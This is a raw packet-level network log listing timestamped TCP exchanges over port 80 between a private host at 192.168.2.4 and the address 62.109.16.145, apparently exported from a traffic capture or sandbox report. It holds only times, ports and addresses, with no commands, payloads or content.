Jan 9, 2025 04:15:03.530342102 CET	50219	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:03.530342102 CET	50219	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:03.535150051 CET	80	50219	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:03.888356924 CET	50219	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:03.893309116 CET	80	50219	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:04.240174055 CET	80	50219	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:04.310122013 CET	50219	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:04.380053997 CET	80	50219	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:04.447381973 CET	50219	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:04.502000093 CET	50219	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:04.502526999 CET	50220	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:04.508094072 CET	80	50219	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:04.508140087 CET	50219	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:04.508421898 CET	80	50220	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:04.508486986 CET	50220	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:04.508656025 CET	50220	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:04.514578104 CET	80	50220	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:04.858145952 CET	50220	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:04.863001108 CET	80	50220	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:05.221215010 CET	80	50220	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:05.278875113 CET	50220	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:05.353940010 CET	80	50220	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:05.420023918 CET	50220	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:05.420361042 CET	50221	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:05.425445080 CET	80	50220	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:05.425534964 CET	50220	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:05.425585032 CET	80	50221	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:05.425652027 CET	50221	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:05.425726891 CET	50221	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:05.430979013 CET	80	50221	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:05.475770950 CET	50221	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:05.476067066 CET	50222	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:05.481952906 CET	80	50222	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:05.482032061 CET	50222	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:05.482255936 CET	50222	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:05.487521887 CET	80	50222	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:05.522939920 CET	80	50221	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:05.841453075 CET	50222	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:05.846326113 CET	80	50222	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:05.914047956 CET	80	50221	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:05.916389942 CET	50221	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:06.195547104 CET	80	50222	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:06.310146093 CET	50222	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:06.331619024 CET	80	50222	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:06.442347050 CET	50222	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:06.450514078 CET	50222	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:06.450957060 CET	50223	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:06.455558062 CET	80	50222	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:06.455602884 CET	50222	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:06.455805063 CET	80	50223	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:06.455857992 CET	50223	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:06.455976963 CET	50223	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:06.460774899 CET	80	50223	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:06.810395956 CET	50223	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:06.815299034 CET	80	50223	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:07.156572104 CET	80	50223	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:07.278893948 CET	50223	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:07.287471056 CET	80	50223	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:07.287842989 CET	50223	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:07.292748928 CET	80	50223	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:07.296447992 CET	50223	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:07.400363922 CET	50224	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:07.405180931 CET	80	50224	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:07.405340910 CET	50224	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:07.405416965 CET	50224	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:07.410177946 CET	80	50224	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:07.764372110 CET	50224	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:07.769265890 CET	80	50224	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:08.110229015 CET	80	50224	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:08.259347916 CET	80	50224	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:08.259394884 CET	50224	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:08.385072947 CET	50224	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:08.385435104 CET	50225	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:08.389996052 CET	80	50224	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:08.390069962 CET	50224	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:08.390202999 CET	80	50225	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:08.390269041 CET	50225	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:08.390419006 CET	50225	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:08.395185947 CET	80	50225	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:08.747699976 CET	50225	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:08.752537966 CET	80	50225	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:09.095685959 CET	80	50225	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:09.204372883 CET	50225	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:09.224087954 CET	80	50225	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:09.312370062 CET	50225	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:09.335901022 CET	50225	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:09.340370893 CET	50226	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:09.340960979 CET	80	50225	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:09.341097116 CET	50225	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:09.345211983 CET	80	50226	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:09.345351934 CET	50226	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:09.345537901 CET	50226	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:09.350356102 CET	80	50226	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:09.700840950 CET	50226	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:09.706418037 CET	80	50226	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:10.060012102 CET	80	50226	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:10.193551064 CET	80	50226	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:10.193597078 CET	50226	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.309379101 CET	50226	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.309674025 CET	50227	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.314450026 CET	80	50226	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:10.314470053 CET	80	50227	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:10.314491987 CET	50226	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.314538956 CET	50227	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.314683914 CET	50227	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.319442987 CET	80	50227	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:10.482779980 CET	50227	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.483079910 CET	50228	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.487915039 CET	80	50228	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:10.487978935 CET	50228	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.488080025 CET	50228	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.492790937 CET	80	50228	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:10.530977964 CET	80	50227	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:10.605398893 CET	50229	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.610264063 CET	80	50229	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:10.610372066 CET	50229	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.610428095 CET	50229	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.615201950 CET	80	50229	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:10.795509100 CET	80	50227	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:10.795557022 CET	50227	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.841573000 CET	50228	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.846395016 CET	80	50228	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:10.846507072 CET	80	50228	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:10.966706038 CET	50229	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:10.971535921 CET	80	50229	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:11.169744968 CET	80	50228	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:11.301867008 CET	80	50228	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:11.302087069 CET	80	50229	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:11.302215099 CET	50228	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:11.357018948 CET	50229	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:11.431737900 CET	80	50229	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:11.484388113 CET	50229	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:11.554088116 CET	50228	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:11.554188013 CET	50229	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:11.554420948 CET	50230	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:11.559170008 CET	80	50228	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:11.559218884 CET	80	50230	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:11.559499025 CET	80	50229	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:11.559601068 CET	50228	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:11.559602022 CET	50229	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:11.559710979 CET	50230	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:11.559781075 CET	50230	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:11.566786051 CET	80	50230	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:11.904381037 CET	50230	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:11.909508944 CET	80	50230	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:12.246433973 CET	80	50230	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:12.294514894 CET	50230	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:12.375639915 CET	80	50230	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:12.375880957 CET	50230	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:12.381275892 CET	80	50230	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:12.381325960 CET	50230	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:12.499679089 CET	50231	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:12.504856110 CET	80	50231	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:12.504920006 CET	50231	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:12.505050898 CET	50231	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:12.509856939 CET	80	50231	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:12.857093096 CET	50231	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:12.862040043 CET	80	50231	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:13.205276012 CET	80	50231	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:13.310184002 CET	50231	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:13.333508015 CET	80	50231	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:13.446608067 CET	50231	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:13.452281952 CET	80	50231	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:13.452321053 CET	50232	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:13.452387094 CET	50231	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:13.457154036 CET	80	50232	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:13.457324028 CET	50232	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:13.457571983 CET	50232	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:13.463105917 CET	80	50232	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:13.812390089 CET	50232	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:13.817244053 CET	80	50232	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:14.182244062 CET	80	50232	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:14.232026100 CET	50232	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:14.313604116 CET	80	50232	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:14.357026100 CET	50232	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:14.434648991 CET	50232	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:14.434989929 CET	50233	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:14.440310001 CET	80	50233	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:14.440365076 CET	50233	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:14.440498114 CET	50233	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:14.440839052 CET	80	50232	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:14.440884113 CET	50232	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:14.445497990 CET	80	50233	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:14.794817924 CET	50233	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:14.799985886 CET	80	50233	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:15.154609919 CET	80	50233	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:15.204387903 CET	50233	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:15.289830923 CET	80	50233	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:15.344393015 CET	50233	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:15.417109966 CET	50233	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:15.420392036 CET	50234	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:15.422127962 CET	80	50233	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:15.424479008 CET	50233	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:15.425445080 CET	80	50234	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:15.428455114 CET	50234	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:15.428589106 CET	50234	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:15.433422089 CET	80	50234	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:15.778976917 CET	50234	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:15.783835888 CET	80	50234	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:16.120801926 CET	80	50234	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:16.169540882 CET	50234	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:16.249763966 CET	80	50234	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:16.294538975 CET	50234	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:16.310966969 CET	50234	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:16.311306953 CET	50235	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:16.315959930 CET	80	50234	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:16.316018105 CET	50234	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:16.316123962 CET	80	50235	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:16.316180944 CET	50235	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:16.316298008 CET	50235	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:16.321086884 CET	80	50235	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:16.373564005 CET	50235	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:16.374644041 CET	50236	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:16.379436016 CET	80	50236	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:16.379492044 CET	50236	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:16.379584074 CET	50236	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:16.384402037 CET	80	50236	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:16.418982983 CET	80	50235	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:16.732139111 CET	50236	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:16.737123966 CET	80	50236	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:16.788743019 CET	80	50235	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:16.788793087 CET	50235	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:17.065526009 CET	80	50236	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:17.124397993 CET	50236	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:17.199533939 CET	80	50236	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:17.248392105 CET	50236	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:17.322962999 CET	50236	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:17.322982073 CET	50237	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:17.327764034 CET	80	50237	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:17.327970028 CET	80	50236	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:17.328071117 CET	50236	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:17.328083038 CET	50237	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:17.328243017 CET	50237	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:17.333107948 CET	80	50237	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:17.688405037 CET	50237	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:17.693298101 CET	80	50237	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:18.020596027 CET	80	50237	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:18.075786114 CET	50237	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:18.149858952 CET	80	50237	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:18.200819969 CET	50237	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:18.278752089 CET	50237	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:18.279187918 CET	50238	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:18.283731937 CET	80	50237	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:18.283786058 CET	50237	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:18.283957958 CET	80	50238	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:18.284015894 CET	50238	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:18.284096956 CET	50238	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:18.288855076 CET	80	50238	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:18.638549089 CET	50238	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:18.643506050 CET	80	50238	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:21.389286041 CET	50239	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:21.392415047 CET	50238	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:21.394226074 CET	80	50239	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:21.396461964 CET	50239	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:21.400477886 CET	50239	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:21.407150984 CET	80	50239	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:21.439218998 CET	80	50238	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:21.512415886 CET	50240	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:21.517301083 CET	80	50240	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:21.520483017 CET	50240	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:21.520617962 CET	50240	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:21.525398970 CET	80	50240	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:21.748420000 CET	50239	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:21.755928993 CET	80	50239	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:21.755944967 CET	80	50239	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:21.767344952 CET	80	50238	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:21.768552065 CET	50238	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:21.876411915 CET	50240	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:21.884203911 CET	80	50240	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:22.075860023 CET	80	50239	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:22.122697115 CET	50239	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:22.205806971 CET	80	50239	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:22.220094919 CET	80	50240	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:22.247678041 CET	50239	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:22.263329029 CET	50240	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:22.349992037 CET	80	50240	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:22.403933048 CET	50240	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:22.467175961 CET	50239	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:22.467195034 CET	50240	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:22.467538118 CET	50241	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:22.472910881 CET	80	50239	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:22.472953081 CET	50239	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:22.473232985 CET	80	50240	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:22.473243952 CET	80	50241	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:22.473269939 CET	50240	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:22.473309994 CET	50241	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:22.586532116 CET	50241	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:22.589307070 CET	50242	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:22.594120979 CET	80	50242	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:22.594177008 CET	50242	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:22.594273090 CET	50242	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:22.599231005 CET	80	50242	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:22.952411890 CET	50242	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:22.957437992 CET	80	50242	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:23.284760952 CET	80	50242	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:23.342430115 CET	50242	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:23.414766073 CET	80	50242	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:23.468425989 CET	50242	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:23.540415049 CET	50242	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:23.541003942 CET	50243	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:23.545393944 CET	80	50242	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:23.545645952 CET	50242	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:23.545866013 CET	80	50243	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:23.546494961 CET	50243	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:23.546614885 CET	50243	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:23.551441908 CET	80	50243	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:23.906430960 CET	50243	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:23.911339045 CET	80	50243	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:24.243594885 CET	80	50243	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:24.294559956 CET	50243	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:24.379112959 CET	80	50243	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:24.419559956 CET	50243	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:24.509618044 CET	50244	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:24.514466047 CET	80	50244	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:24.514523029 CET	50244	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:24.514684916 CET	50244	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:24.519505024 CET	80	50244	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:24.872764111 CET	50244	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:24.877919912 CET	80	50244	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:25.256762981 CET	80	50244	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:25.312422991 CET	50244	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:25.391501904 CET	80	50244	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:25.456419945 CET	50244	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:25.507667065 CET	50244	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:25.507988930 CET	50245	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:25.512727976 CET	80	50244	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:25.512804031 CET	80	50245	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:25.512835026 CET	50244	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:25.513011932 CET	50245	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:25.513051987 CET	50245	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:25.517837048 CET	80	50245	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:25.858445883 CET	50245	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:25.863321066 CET	80	50245	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:26.213807106 CET	80	50245	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:26.263339043 CET	50245	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:26.345782995 CET	80	50245	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:26.388315916 CET	50245	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:26.466521025 CET	50243	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:26.475334883 CET	50245	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:26.476321936 CET	50246	80	192.168.2.4	62.109.16.145
